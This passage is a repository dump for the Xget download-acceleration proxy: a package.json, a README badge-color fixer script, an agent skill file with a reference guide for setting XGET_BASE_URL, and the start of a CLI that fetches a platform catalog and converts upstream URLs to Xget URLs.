    "content": "{\n  \"dependencies\": {\n    \"express\": \"^5.2.1\"\n  },\n  \"devDependencies\": {\n    \"@cloudflare/vitest-pool-workers\": \"^0.13.3\",\n    \"@cloudflare/workers-types\": \"^4.20260307.1\",\n    \"@commitlint/cli\": \"^20.5.0\",\n    \"@commitlint/config-conventional\": \"^20.5.0\",\n    \"@eslint/js\": \"^10.0.1\",\n    \"@vitest/coverage-istanbul\": \"^4.1.0\",\n    \"eslint\": \"^10.0.3\",\n    \"eslint-config-prettier\": \"^10.1.8\",\n    \"eslint-plugin-jsdoc\": \"^62.8.0\",\n    \"istanbul-lib-coverage\": \"^3.2.2\",\n    \"istanbul-lib-report\": \"^3.0.1\",\n    \"istanbul-reports\": \"^3.2.0\",\n    \"prettier\": \"^3.8.1\",\n    \"simple-git-hooks\": \"^2.13.1\",\n    \"typescript\": \"^5.9.3\",\n    \"vitest\": \"^4.1.0\",\n    \"wrangler\": \"^4.76.0\"\n  },\n  \"name\": \"xget\",\n  \"license\": \"AGPL-3.0-or-later\",\n  \"private\": false,\n  \"scripts\": {\n    \"commitlint\": \"commitlint --last --verbose\",\n    \"commitmsg\": \"commitlint --edit\",\n    \"deploy\": \"wrangler deploy\",\n    \"dev\": \"wrangler dev\",\n    \"format\": \"prettier --write src/ test/ *.js *.json\",\n    \"format:check\": \"prettier --check src/ test/ *.js *.json\",\n    \"lint\": \"eslint src/ test/ adapters/\",\n    \"lint:fix\": \"eslint src/ test/ adapters/ --fix\",\n    \"prepare\": \"simple-git-hooks\",\n    \"start\": \"wrangler dev\",\n    \"test\": \"vitest\",\n    \"test:coverage\": \"vitest run --config vitest.coverage.config.js --coverage\",\n    \"test:run\": \"vitest run\",\n    \"test:ui\": \"vitest --ui\",\n    \"test:watch\": \"vitest --watch\",\n    \"type-check\": \"tsc --noEmit\"\n  },\n  \"simple-git-hooks\": {\n    \"commit-msg\": \"npx commitlint --edit $1\"\n  },\n  \"type\": \"module\",\n  \"version\": \"1.0.0\"\n}\n"
  },
  {
    "path": "scripts/fix-badge-colors.js",
    "content": "import { readFileSync, writeFileSync } from 'fs';\nimport { dirname, join } from 'path';\nimport { fileURLToPath } from 'url';\n\nconst __filename = fileURLToPath(import.meta.url);\nconst __dirname = dirname(__filename);\n\n// Check if --fix flag is provided\nconst shouldFix = process.argv.includes('--fix');\n\n// Extract badge info from README file\n/**\n *\n * @param filePath\n */\nfunction extractBadgeInfo(filePath) {\n  const content = readFileSync(filePath, 'utf8');\n  const badgeRegex =\n    /\\[!\\[.*?\\]\\(https:\\/\\/img\\.shields\\.io\\/badge\\/(.*?)-([0-9A-Fa-f]{6})\\?.*?logo=([a-z0-9-]+)/gi;\n\n  const badges = {};\n  let match;\n  while ((match = badgeRegex.exec(content)) !== null) {\n    const fullMatch = match[0];\n    const label = match[1];\n    const color = match[2];\n    const logo = match[3];\n    // Normalize logo name (lowercase and remove dashes for Simple Icons lookup)\n    const normalizedLogo = logo.toLowerCase().replace(/-/g, '');\n\n    if (!badges[normalizedLogo]) {\n      badges[normalizedLogo] = {\n        color: color,\n        logo: logo,\n        label: label,\n        fullMatch: fullMatch\n      };\n    }\n  }\n\n  return badges;\n}\n\n// Fix badge colors in README file\n/**\n *\n * @param filePath\n * @param colorChanges\n */\nfunction fixBadgeColors(filePath, colorChanges) {\n  let content = readFileSync(filePath, 'utf8');\n  let changeCount = 0;\n\n  for (const [logo, change] of Object.entries(colorChanges)) {\n    const oldColor = change.current.toUpperCase();\n    const newColor = change.official.toUpperCase();\n\n    // Create regex to match badges with this logo and old color\n    const badgeRegex = new RegExp(\n      `(\\\\[!\\\\[.*?\\\\]\\\\(https:\\\\/\\\\/img\\\\.shields\\\\.io\\\\/badge\\\\/.*?-)${oldColor}(\\\\?.*?logo=${change.logoName})`,\n      'gi'\n    );\n\n    const newContent = content.replace(badgeRegex, `$1${newColor}$2`);\n\n    if (newContent !== content) {\n      changeCount++;\n      content = newContent;\n      console.log(`  ✅ Fixed ${logo}: ${oldColor} → ${newColor}`);\n    }\n  }\n\n  if (changeCount > 0) {\n    writeFileSync(filePath, content, 'utf8');\n    return changeCount;\n  }\n\n  return 0;\n}\n\n/**\n *\n */\nasync function fetchSimpleIcons() {\n  const response = await fetch(\n    'https://raw.githubusercontent.com/simple-icons/simple-icons/refs/heads/develop/data/simple-icons.json'\n  );\n  const icons = await response.json();\n\n  // Create a map of slug -> hex color\n  const iconMap = {};\n  icons.forEach(icon => {\n    // Use slug if available, otherwise generate from title\n    const slug = icon.slug || icon.title.toLowerCase().replace(/[^a-z0-9]/g, '');\n    iconMap[slug] = icon.hex;\n  });\n\n  return iconMap;\n}\n\n/**\n *\n * @param filePath\n * @param simpleIcons\n */\nfunction checkReadme(filePath, simpleIcons) {\n  const fileName = filePath.split(/[\\\\/]/).pop();\n  const currentBadges = extractBadgeInfo(filePath);\n\n  console.log(`\\n${'='.repeat(80)}`);\n  console.log(`📄 ${fileName}`);\n  console.log('='.repeat(80));\n  console.log(\n    'Logo Name'.padEnd(25) + 'Current Color'.padEnd(20) + 'Official Color'.padEnd(20) + 'Status'\n  );\n  console.log('='.repeat(80));\n\n  let totalChecked = 0;\n  let correctCount = 0;\n  let incorrectCount = 0;\n  const issues = {};\n\n  for (const [logo, badgeInfo] of Object.entries(currentBadges)) {\n    totalChecked++;\n    const currentColor = badgeInfo.color;\n    const officialColor = simpleIcons[logo];\n\n    if (!officialColor) {\n      console.log(\n        `${logo.padEnd(25)}${currentColor.padEnd(20)}${'NOT FOUND'.padEnd(20)}⚠️  Missing`\n      );\n      continue;\n    }\n\n    const currentUpper = currentColor.toUpperCase();\n    const officialUpper = officialColor.toUpperCase();\n\n    if (currentUpper === officialUpper) {\n      console.log(\n        `${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}✅ Correct`\n      );\n      correctCount++;\n    } else {\n      console.log(\n        `${logo.padEnd(25)}${currentColor.padEnd(20)}${officialColor.padEnd(20)}❌ Mismatch`\n      );\n      incorrectCount++;\n      issues[logo] = {\n        current: currentColor,\n        official: officialColor,\n        logoName: badgeInfo.logo\n      };\n    }\n  }\n\n  console.log('='.repeat(80));\n  console.log(`\\nSummary for ${fileName}:`);\n  console.log(`Total badges checked: ${totalChecked}`);\n  console.log(`✅ Correct: ${correctCount}`);\n  console.log(`❌ Incorrect: ${incorrectCount}`);\n\n  if (Object.keys(issues).length > 0) {\n    console.log('\\n🔧 Badges that need updating:\\n');\n    Object.entries(issues).forEach(([logo, issue]) => {\n      console.log(`${logo}:`);\n      console.log(`  Current:  ${issue.current}`);\n      console.log(`  Official: ${issue.official}`);\n      console.log(`  Change:   ${issue.current} → ${issue.official}\\n`);\n    });\n\n    if (shouldFix) {\n      console.log('🔧 Applying fixes...\\n');\n      const fixedCount = fixBadgeColors(filePath, issues);\n      console.log(`✅ Fixed ${fixedCount} badge(s) in ${fileName}`);\n    }\n  } else {\n    console.log('\\n🎉 All badge colors are correct!');\n  }\n\n  return issues;\n}\n\n/**\n *\n */\nasync function main() {\n  console.log('Fetching Simple Icons data...\\n');\n  const simpleIcons = await fetchSimpleIcons();\n\n  const readmes = [\n    join(__dirname, '..', 'README.md'),\n    join(__dirname, '..', 'README.zh-Hans.md'),\n    join(__dirname, '..', 'README.zh-Hant.md')\n  ];\n\n  let anyIssues = false;\n  for (const readmePath of readmes) {\n    const issues = checkReadme(readmePath, simpleIcons);\n    if (Object.keys(issues).length > 0) anyIssues = true;\n  }\n\n  if (anyIssues && !shouldFix) {\n    console.log('\\n💡 Tip: Run with --fix flag to automatically fix all mismatches:');\n    console.log('   node scripts/fix-badge-colors.js --fix\\n');\n  } else if (!anyIssues) {\n    console.log('\\n🎉 All badge colors across all READMEs are correct!');\n  } else {\n    console.log('\\n🎉 All badge colors have been fixed!');\n  }\n}\n\nmain().catch(console.error);\n"
  },
  {
    "path": "skills/xget/SKILL.md",
    "content": "---\nname: xget\ndescription:\n  Execute Xget work in real developer workflows. Use this skill when a task\n  involves Xget URL rewriting, registry/package/container/API acceleration,\n  integrating Xget into Git, download tools, package managers, container builds,\n  AI SDKs, CI/CD, deployment, or self-hosting, or adapting commands and config\n  from the live README `Use Cases` section into the user's files, environment,\n  shell, or base URL.\n---\n\n# Xget\n\nDefault to execution, not instruction. When the user expresses execution intent,\ncarry the change through directly: run the needed shell commands, edit the real\nfiles, and verify the result instead of only replying with example commands.\nTreat requests like \"configure\", \"set up\", \"wire\", \"change\", \"add\", \"fix\",\n\"migrate\", \"deploy\", \"run\", or \"make this use Xget\" as execution intent unless\nthe user clearly asks for explanation only.\n\nResolve the base URL first:\n\n1. use a domain the user explicitly gave\n2. otherwise use `XGET_BASE_URL` from the environment\n3. if neither exists, ask for the user's Xget base URL and whether it should be\n   set temporarily for the current shell/session or persistently for future\n   shells\n4. use `https://xget.example.com` only as a clearly labeled placeholder for docs\n   or templates that do not have a real deployment yet\n\nPrefer `scripts/xget.mjs` over manual guessing for live platform data, URL\nconversion, and README `Use Cases` lookup.\n\nOnly stop to ask when a missing fact blocks safe execution, such as an unknown\nreal base URL for a command that must run against a live deployment. If the\nuser only needs docs or templates, use the placeholder path rules below.\n\n## Workflow\n\n1. Classify the task before reaching for examples:\n   - execution intent: the user wants commands run, files changed, or config\n     applied now\n   - guidance intent: the user explicitly wants examples, explanation, or a\n     template without applying it yet\n   - then bucket the technical area: one-off URL conversion or prefix lookup;\n     Git or download-tool acceleration; package-manager or language-ecosystem\n     configuration; container image, Dockerfile, Kubernetes, or CI/CD\n     acceleration; AI SDK / inference API base-URL configuration; deploying or\n     self-hosting Xget itself\n2. Complete the base-URL preflight above. If the user wants help setting\n   `XGET_BASE_URL`, open [the reference guide](references/REFERENCE.md) and:\n   - when the user asked you to set or wire it, run the shell-appropriate\n     temporary or persistent commands directly when the environment allows it\n   - when you cannot safely execute, ask the smallest blocking question or give\n     the exact command with the missing value clearly called out\n3. Pull live README guidance in two steps instead of loading the whole section\n   by default:\n   - list candidate headings with `node scripts/xget.mjs topics --format json`\n   - narrow with `--match` or fetch a specific section with\n     `node scripts/xget.mjs snippet --base-url https://xget.example.com --heading \"Docker Compose Configuration\" --format text`\n4. Prefer the smallest relevant live subsection. If a repeated child heading\n   like `Use in Project` is ambiguous, fetch its parent section instead.\n5. Adapt the live guidance to the user's real task:\n   - for execution intent, apply the change end-to-end instead of stopping at\n     example commands\n   - run commands yourself when the request is to install, configure, rewrite,\n     switch, migrate, test, or otherwise perform the change\n   - edit the actual config or source files when the user wants implementation,\n     not just explanation\n   - keep shell commands aligned with the user's OS and shell\n   - preserve existing project conventions unless the user asked for a broader\n     rewrite\n   - after changing files or running commands, perform a lightweight\n     verification step when practical\n6. Refresh the live platform map with\n   `node scripts/xget.mjs platforms --format json` when the answer depends on\n   current prefixes, and use `convert` for exact URL rewrites.\n7. Combine multiple live sections when the workflow spans multiple layers. For\n   example, pair a package-manager section with container, deployment, or `.env`\n   guidance when the user's project needs more than one integration point.\n8. Before finishing, sanity-check that every command, file edit, or example uses\n   the right Xget path shape:\n   - repo/content: `/{prefix}/...`\n   - crates.io HTTP URLs: `/crates/...` rather than `/crates/api/v1/crates/...`\n   - inference APIs: `/ip/{provider}/...`\n   - OCI registries: `/cr/{registry}/...`\n9. If the live platform fetch fails or an upstream URL does not match any known\n   platform, say so explicitly and fall back to the stable guidance in\n   [references/REFERENCE.md](references/REFERENCE.md) instead of inventing a\n   prefix.\n"
  },
  {
    "path": "skills/xget/references/REFERENCE.md",
    "content": "# Xget Reference\n\nUse this file only when the user needs shell setup, deployment, or\ntroubleshooting details. Reuse the base URL already resolved from `SKILL.md`,\nand keep `https://xget.example.com` as a placeholder only for docs or templates.\n\n## Configuring `XGET_BASE_URL`\n\nAsk which shell the user is using before giving commands when it is unclear.\nOffer one of these two setup modes:\n\n### Temporary (current shell or session)\n\n- PowerShell:\n\n```powershell\n$env:XGET_BASE_URL = \"https://xget.example.com\"\n```\n\n- bash / zsh:\n\n```bash\nexport XGET_BASE_URL=\"https://xget.example.com\"\n```\n\n- fish:\n\n```fish\nset -x XGET_BASE_URL https://xget.example.com\n```\n\n### Persistent (future shells)\n\n- PowerShell profile:\n\n```powershell\nif (!(Test-Path $PROFILE)) { New-Item -ItemType File -Path $PROFILE -Force | Out-Null }\nAdd-Content $PROFILE '$env:XGET_BASE_URL = \"https://xget.example.com\"'\n```\n\n- bash:\n\n```bash\necho 'export XGET_BASE_URL=\"https://xget.example.com\"' >> ~/.bashrc\n```\n\n- zsh:\n\n```bash\necho 'export XGET_BASE_URL=\"https://xget.example.com\"' >> ~/.zshrc\n```\n\n- fish:\n\n```fish\nset -Ux XGET_BASE_URL https://xget.example.com\n```\n\nAfter a persistent change, remind the user to open a new shell or reload their\nprofile before retrying commands.\n\n## Live platform source\n\nThe authoritative platform list for this skill comes from:\n\n`https://raw.gitcode.com/xixu-me/xget/raw/main/src/config/platform-catalog.js`\n\nFetch it from the repository root with:\n\n```bash\nnode scripts/xget.mjs platforms --format json\n```\n\n## README `Use Cases` section\n\nList the latest README `Use Cases` headings first:\n\n```bash\nnode scripts/xget.mjs topics --format text\n```\n\nNarrow the list when the user's task is obvious:\n\n```bash\nnode scripts/xget.mjs topics --match docker --format text\n```\n\nFetch only the smallest relevant live subsection and rewrite the public demo\ndomain to your resolved base URL:\n\n```bash\nnode scripts/xget.mjs snippet --base-url https://xget.example.com --heading \"Docker Compose Configuration\" --format text\n```\n\nIf `XGET_BASE_URL` is already configured, the skill can omit `--base-url` and\nread from the environment instead.\n\nIf a heading is repeated, such as `Use in Project`, fetch its parent section\ninstead of relying on the ambiguous child title alone.\n\nWhen the right section is not obvious, prefer `topics --match <tool-or-task>`\nover maintaining a second static map in the skill docs. Typical matches are\npackage managers (`npm`, `pip`, `cargo`), runtime tools (`docker`, `kubernetes`,\n`github actions`), AI providers (`openai`, `anthropic`, `gemini`), or hosting\ntargets (`cloudflare`, `vercel`, `netlify`, `docker compose`).\n\n## Execute instead of paraphrase\n\nWhen the user wants a change in a real project, adapt the live README snippet to\nthe target file and run the necessary commands instead of pasting generic\nexamples back:\n\n- `.npmrc`, `pip.conf`, `NuGet.Config`, `.cargo/config.toml`, `.condarc`\n- `Dockerfile`, `docker-compose.yml`, Kubernetes manifests, GitHub Actions\n  workflows\n- `.env`, SDK initialization code, shell profile files\n\nTreat phrasing like \"configure this\", \"change it\", \"wire it in\", \"switch to\nXget\", \"run this\", \"fix it\", or \"deploy it\" as a cue to execute. Only fall back\nto example commands when the user explicitly asks for examples or a missing fact\nprevents safe execution.\n\n## Deployment\n\nFor deployment guidance, use the README section on deployment in the:\n\n[Xget deployment guide](https://github.com/xixu-me/xget?tab=readme-ov-file#-deployment)\n\n## Troubleshooting heuristics\n\n- `404` on converted URLs often means the wrong prefix or an unmatched upstream\n  platform.\n- crates.io conversions should strip the upstream `/api/v1/crates` prefix before\n  adding `/crates/...`.\n- pip issues often come from adding `trusted-host` unnecessarily or pointing it\n  at the wrong host.\n- Docker examples must use `/cr/{registry}` prefixes, not plain `/{prefix}`.\n- AI SDK examples usually need the Xget base URL changed but keep the original\n  API key behavior.\n- If the user asks for the “latest” supported platform, refresh the live\n  platform map before answering.\n"
  },
  {
    "path": "skills/xget/scripts/xget.mjs",
    "content": "#!/usr/bin/env node\n\nimport { get } from 'node:https';\nimport { relative } from 'node:path';\nimport process from 'node:process';\nimport { pathToFileURL } from 'node:url';\n\nconst DEFAULT_SOURCE_URL =\n  'https://raw.gitcode.com/xixu-me/xget/raw/main/src/config/platform-catalog.js';\nconst DEFAULT_README_URL = 'https://raw.githubusercontent.com/xixu-me/xget/main/README.md';\n\nconst DEFAULT_BASE_PLACEHOLDER = 'https://xget.example.com';\nconst DEFAULT_PUBLIC_BASE_URL = 'https://xget.xi-xu.me';\nconst DEFAULT_PUBLIC_HOST = 'xget.xi-xu.me';\nconst README_USE_CASES_HEADING = '## 🎯 Use Cases';\nconst MISSING_BASE_URL_HINT =\n  `Missing --base-url and XGET_BASE_URL. Ask for the user's Xget base URL and whether ` +\n  `to set it temporarily or persistently. For docs-only placeholders, use ${DEFAULT_BASE_PLACEHOLDER}.`;\n\nconst CRATES_API_PREFIX = '/api/v1/crates';\n\n/**\n * @typedef {'resource' | 'registry' | 'inference'} PlatformCategory\n */\n\n/**\n * @typedef {{ key: string, upstream: string, pathPrefix: string, category: PlatformCategory }} PlatformEntry\n */\n\n/**\n * @typedef {{\n *   help?: boolean,\n *   format?: string,\n *   heading?: string,\n *   match?: string,\n *   url?: string,\n *   'source-url'?: string,\n *   'base-url'?: string,\n *   'readme-url'?: string,\n *   [key: string]: string | boolean | undefined\n * }} CliOptions\n */\n\n/**\n * @typedef {{ command: string, options: CliOptions }} ParsedArgs\n */\n\n/**\n * @typedef {{\n *   index: number,\n *   level: number,\n *   text: string,\n *   raw: string,\n *   parent: string | null\n * }} MarkdownHeading\n */\n\n/**\n * @typedef {{\n *   section: string,\n *   heading: string,\n *   baseUrl: string,\n *   content: string\n * }} UseCasesSnippet\n */\n\nfunction getInvocationCommand() {\n  const scriptPath = process.argv[1];\n  if (!scriptPath) {\n    return 'node scripts/xget.mjs';\n  }\n\n  const relativePath = relative(process.cwd(), scriptPath).replace(/\\\\/g, '/');\n  const displayPath =\n    relativePath && !relativePath.startsWith('..') ? relativePath : scriptPath.replace(/\\\\/g, '/');\n\n  return `node ${displayPath}`;\n}\n\nfunction printHelp() {\n  const invocation = getInvocationCommand();\n\n  console.log(`Usage: ${invocation} <command> [options]\n\nCommands:\n  platforms                 Fetch the live Xget platform map.\n  convert                   Convert an upstream URL to an Xget URL.\n  topics                    List headings from the README Use Cases section.\n  snippet                   Fetch the README Use Cases section or a subsection.\n  help                      Show this message.\n\nGlobal options:\n  --source-url URL          Override the remote platform source URL.\n  --format FORMAT           json (default), text, or table when supported.\n  --help                    Show command help.\n\nplatforms options:\n  --format json|table\n\nconvert options:\n  --base-url URL            Xget base URL. Defaults to XGET_BASE_URL.\n  --url URL                 Upstream URL to convert.\n  --format json|text\n\ntopics options:\n  --readme-url URL          Override the remote README markdown URL.\n  --match TEXT              Filter headings by case-insensitive text match.\n  --format json|text\n\nsnippet options:\n  --base-url URL            Xget base URL. Defaults to XGET_BASE_URL and\n                            rewrites README examples to match it.\n  --readme-url URL          Override the remote README markdown URL.\n  --heading TEXT            Exact heading inside the Use Cases section.\n  --match TEXT              Case-insensitive heading filter inside Use Cases.\n  --format json|text\n\nExamples:\n  ${invocation} platforms --format table\n  ${invocation} convert --base-url https://xget.example.com --url https://github.com/microsoft/vscode\n  ${invocation} topics --match docker --format text\n  ${invocation} snippet --base-url https://xget.example.com --heading \"Docker Compose Configuration\" --format text\n`);\n}\n\n/**\n * @param {string[]} argv\n * @returns {ParsedArgs}\n */\nfunction parseArgs(argv) {\n  const [command = 'help', ...rest] = argv;\n  if (command === '--help') {\n    return { command: 'help', options: { help: true } };\n  }\n\n  /** @type {CliOptions} */\n  const options = {};\n\n  for (let index = 0; index < rest.length; index += 1) {\n    const token = rest[index];\n    if (!token.startsWith('--')) {\n      fail(`Unexpected argument \"${token}\". Use --help for supported options.`, 2);\n    }\n\n    const key = token.slice(2);\n    if (key === 'help') {\n      options.help = true;\n      continue;\n    }\n\n    const value = rest[index + 1];\n    if (!value || value.startsWith('--')) {\n      fail(`Missing value for --${key}.`, 2);\n    }\n\n    options[key] = value;\n    index += 1;\n  }\n\n  return { command, options };\n}\n\n/**\n * @param {unknown} error\n * @returns {string}\n */\nfunction getErrorMessage(error) {\n  return error instanceof Error ? error.message : String(error);\n}\n\n/**\n * @param {string} message\n * @param {number} [code]\n * @returns {never}\n */\nfunction fail(message, code = 1) {\n  console.error(`Error: ${message}`);\n  process.exit(code);\n}\n\n/**\n * Parses a platform map object literal from repository source.\n * Supports the simple `key: 'value'` form used by the Xget platform catalog.\n * @param {string} objectSource\n * @returns {Record<string, string>}\n */\nfunction parsePlatformMapObject(objectSource) {\n  /** @type {Record<string, string>} */\n  const platforms = {};\n\n  for (const rawLine of objectSource.split(/\\r?\\n/)) {\n    const line = rawLine.trim();\n\n    if (!line || line === '{' || line === '}' || line.startsWith('//')) {\n      continue;\n    }\n\n    const match = line.match(\n      /^(?:'([^']+)'|\"([^\"]+)\"|([A-Za-z0-9_-]+))\\s*:\\s*(?:'([^']*)'|\"([^\"]*)\")\\s*,?$/\n    );\n\n    if (!match) {\n      throw new Error(`unsupported platform entry: ${line}`);\n    }\n\n    const key = match[1] || match[2] || match[3];\n    const value = match[4] || match[5] || '';\n    platforms[key] = value;\n  }\n\n  return platforms;\n}\n\n/**\n * @param {string} url\n * @returns {Promise<string>}\n */\nfunction httpGet(url) {\n  return new Promise((resolve, reject) => {\n    get(url, response => {\n      if (\n        response.statusCode &&\n        response.statusCode >= 300 &&\n        response.statusCode < 400 &&\n        response.headers.location\n      ) {\n        resolve(httpGet(response.headers.location));\n        return;\n      }\n\n      if (response.statusCode !== 200) {\n        reject(new Error(`Unexpected HTTP status ${response.statusCode} for ${url}`));\n        response.resume();\n        return;\n      }\n\n      let body = '';\n      response.setEncoding('utf8');\n      response.on('data', chunk => {\n        body += chunk;\n      });\n      response.on('end', () => resolve(body));\n    }).on('error', reject);\n  });\n}\n\n/**\n * @param {string} jsSource\n * @returns {Record<string, string>}\n */\nexport function extractPlatformsModule(jsSource) {\n  const platformExportPatterns = [\n    {\n      name: 'PLATFORM_CATALOG',\n      pattern: /export const PLATFORM_CATALOG = (\\{[\\s\\S]*?\\n\\});/\n    },\n    {\n      name: 'PLATFORMS',\n      pattern: /export const PLATFORMS = (\\{[\\s\\S]*?\\n\\});/\n    }\n  ];\n\n  for (const { name, pattern } of platformExportPatterns) {\n    const match = jsSource.match(pattern);\n    if (!match) {\n      continue;\n    }\n\n    try {\n      return parsePlatformMapObject(match[1]);\n    } catch (error) {\n      fail(`Could not parse remote ${name} object: ${getErrorMessage(error)}`);\n    }\n  }\n\n  fail('Could not find `export const PLATFORM_CATALOG = {...}` or `PLATFORMS = {...}`.');\n}\n\n/**\n * @param {Record<string, string>} platforms\n * @returns {PlatformEntry[]}\n */\nexport function createPlatformEntries(platforms) {\n  return Object.entries(platforms)\n    .sort(([left], [right]) => left.localeCompare(right))\n    .map(([key, upstream]) => ({\n      key,\n      upstream,\n      pathPrefix: `/${key.replace(/-/g, '/')}/`,\n      category: key.startsWith('ip-')\n        ? 'inference'\n        : key.startsWith('cr-')\n          ? 'registry'\n          : 'resource'\n    }));\n}\n\n/**\n * @param {string} jsSource\n * @returns {PlatformEntry[]}\n */\nexport function loadPlatformsFromSource(jsSource) {\n  const platforms = extractPlatformsModule(jsSource);\n  return createPlatformEntries(platforms);\n}\n\n/**\n * @param {string} sourceUrl\n * @returns {Promise<PlatformEntry[]>}\n */\nasync function loadPlatforms(sourceUrl) {\n  const jsSource = await httpGet(sourceUrl);\n  return loadPlatformsFromSource(jsSource);\n}\n\n/**\n * @param {string | undefined} value\n * @returns {string | null}\n */\nfunction normalizeBaseUrl(value) {\n  if (typeof value !== 'string' || !value) {\n    return null;\n  }\n\n  try {\n    const url = new URL(value);\n    url.pathname = url.pathname.replace(/\\/+$/, '');\n    url.search = '';\n    url.hash = '';\n    return url.toString().replace(/\\/$/, '');\n  } catch {\n    fail(`Invalid --base-url value \"${value}\". Expected an absolute URL.`);\n  }\n}\n\n/**\n * Resolve an explicit or environment-provided base URL without inventing a fallback instance.\n * @param {string | undefined} optionValue\n * @param {string | undefined} envValue\n * @returns {string | null}\n */\nexport function resolveBaseUrl(optionValue, envValue) {\n  return normalizeBaseUrl(optionValue ?? envValue);\n}\n\n/**\n * @param {string} value\n * @param {string} flagName\n * @returns {URL}\n */\nfunction normalizeAbsoluteUrl(value, flagName) {\n  try {\n    return new URL(value);\n  } catch {\n    fail(`Invalid ${flagName} value \"${value}\". Expected an absolute URL.`);\n  }\n}\n\n/**\n * @param {string} pathname\n * @returns {string}\n */\nfunction normalizePathname(pathname) {\n  if (!pathname || pathname === '/') {\n    return '';\n  }\n\n  return pathname.replace(/\\/+$/, '');\n}\n\n/**\n * @param {string} pathname\n * @param {string} prefix\n * @param {boolean} [caseInsensitive]\n * @returns {boolean}\n */\nfunction matchesPathPrefix(pathname, prefix, caseInsensitive = false) {\n  const normalizedPath = normalizePathname(pathname);\n  const normalizedPrefix = normalizePathname(prefix);\n\n  if (!normalizedPrefix) {\n    return true;\n  }\n\n  if (!normalizedPath) {\n    return false;\n  }\n\n  if (caseInsensitive) {\n    const lowerPath = normalizedPath.toLowerCase();\n    const lowerPrefix = normalizedPrefix.toLowerCase();\n    return lowerPath === lowerPrefix || lowerPath.startsWith(`${lowerPrefix}/`);\n  }\n\n  return normalizedPath === normalizedPrefix || normalizedPath.startsWith(`${normalizedPrefix}/`);\n}\n\n/**\n * @param {string} pathname\n * @param {string} prefix\n * @param {boolean} [caseInsensitive]\n * @returns {string}\n */\nfunction stripPathPrefix(pathname, prefix, caseInsensitive = false) {\n  const normalizedPrefix = normalizePathname(prefix);\n  if (!normalizedPrefix) {\n    return pathname;\n  }\n\n  const flags = caseInsensitive ? 'i' : '';\n  const escapedPrefix = normalizedPrefix.replace(/[.*+?^${}()|[\\]\\\\]/g, '\\\\$&');\n  return pathname.replace(new RegExp(`^${escapedPrefix}(?=/|$)`, flags), '');\n}\n\n/**\n * @param {PlatformEntry[]} platforms\n * @param {string} key\n * @returns {PlatformEntry | null}\n */\nfunction findPlatformByKey(platforms, key) {\n  return platforms.find(platform => platform.key === key) ?? null;\n}\n\n/**\n * @param {PlatformEntry[]} platforms\n * @param {URL} originUrl\n * @returns {PlatformEntry | null}\n */\nfunction findSpecialPlatformForUrl(platforms, originUrl) {\n  if (originUrl.hostname === 'ghcr.io') {\n    if (originUrl.pathname.startsWith('/v2/homebrew/')) {\n      return findPlatformByKey(platforms, 'homebrew-bottles');\n    }\n\n    return findPlatformByKey(platforms, 'cr-ghcr');\n  }\n\n  return null;\n}\n\n/**\n * @param {PlatformEntry[]} platforms\n * @param {URL} originUrl\n * @returns {PlatformEntry | null}\n */\nexport function findPlatformForUrl(platforms, originUrl) {\n  const specialPlatform = findSpecialPlatformForUrl(platforms, originUrl);\n  if (specialPlatform) {\n    return specialPlatform;\n  }\n\n  const matchingPlatforms = platforms\n    .filter(platform => {\n      const upstreamUrl = new URL(platform.upstream);\n      if (upstreamUrl.origin !== originUrl.origin) {\n        return false;\n      }\n\n      const caseInsensitive = platform.key === 'homebrew' || platform.key === 'homebrew-api';\n      return matchesPathPrefix(originUrl.pathname, upstreamUrl.pathname, caseInsensitive);\n    })\n    .sort((left, right) => {\n      const leftPathLength = normalizePathname(new URL(left.upstream).pathname).length;\n      const rightPathLength = normalizePathname(new URL(right.upstream).pathname).length;\n      return rightPathLength - leftPathLength;\n    });\n\n  return matchingPlatforms[0] ?? null;\n}\n\n/**\n * @param {PlatformEntry} platform\n * @param {URL} originUrl\n * @returns {string}\n */\nexport function getConvertedSuffix(platform, originUrl) {\n  let pathname = originUrl.pathname;\n\n  if (platform.key === 'homebrew') {\n    pathname = stripPathPrefix(pathname, '/Homebrew', true);\n  } else if (platform.key === 'homebrew-api') {\n    pathname = stripPathPrefix(pathname, '/api', true);\n  } else if (platform.key === 'crates') {\n    pathname = stripPathPrefix(pathname, CRATES_API_PREFIX, true);\n  } else {\n    const upstreamPath = new URL(platform.upstream).pathname;\n    pathname = stripPathPrefix(pathname, upstreamPath);\n  }\n\n  if (!pathname) {\n    pathname = '/';\n  }\n\n  if (!pathname.startsWith('/')) {\n    pathname = `/${pathname}`;\n  }\n\n  return `${pathname}${originUrl.search}${originUrl.hash}`;\n}\n\n/**\n * @param {string} baseUrl\n * @param {PlatformEntry} platform\n * @param {URL} originUrl\n * @returns {string}\n */\nexport function buildConvertedUrl(baseUrl, platform, originUrl) {\n  const suffix = getConvertedSuffix(platform, originUrl);\n  return `${baseUrl}${platform.pathPrefix}${suffix.replace(/^\\/+/, '')}`;\n}\n\n/**\n * @param {string} line\n * @returns {Omit<MarkdownHeading, 'index' | 'parent'> | null}\n */\nfunction parseMarkdownHeading(line) {\n  const match = line.trim().match(/^(#{1,6})\\s+(.+?)\\s*$/);\n\n  if (!match) {\n    return null;\n  }\n\n  const text = match[2].trim();\n\n  return {\n    level: match[1].length,\n    text,\n    raw: `${match[1]} ${text}`\n  };\n}\n\n/**\n * @param {string} heading\n * @returns {string}\n */\nfunction normalizeHeadingQuery(heading) {\n  return heading\n    .replace(/^#{1,6}\\s+/, '')\n    .replace(/^[^\\p{L}\\p{N}]+/u, '')\n    .trim()\n    .toLowerCase();\n}\n\n/**\n * @param {string} line\n * @returns {boolean}\n */\nfunction isCodeFenceDelimiter(line) {\n  return /^(```|~~~)/.test(line.trim());\n}\n\n/**\n * @param {string[]} lines\n * @returns {MarkdownHeading[]}\n */\nfunction collectMarkdownHeadings(lines) {\n  /** @type {Array<string | undefined>} */\n  const stack = [];\n  let inCodeFence = false;\n\n  return lines.flatMap((line, index) => {\n    if (isCodeFenceDelimiter(line)) {\n      inCodeFence = !inCodeFence;\n      return [];\n    }\n\n    if (inCodeFence) {\n      return [];\n    }\n\n    const heading = parseMarkdownHeading(line);\n    if (!heading) {\n      return [];\n    }\n\n    let parent = null;\n    for (let level = heading.level - 1; level >= 1; level -= 1) {\n      if (stack[level]) {\n        parent = stack[level] ?? null;\n        break;\n      }\n    }\n\n    stack[heading.level] = heading.text;\n    stack.length = heading.level + 1;\n\n    return [\n      {\n        index,\n        ...heading,\n        parent\n      }\n    ];\n  });\n}\n\n/**\n * @param {MarkdownHeading} heading\n * @returns {string}\n */\nfunction formatHeadingLabel(heading) {\n  return heading.parent ? `${heading.raw} (under ${heading.parent})` : 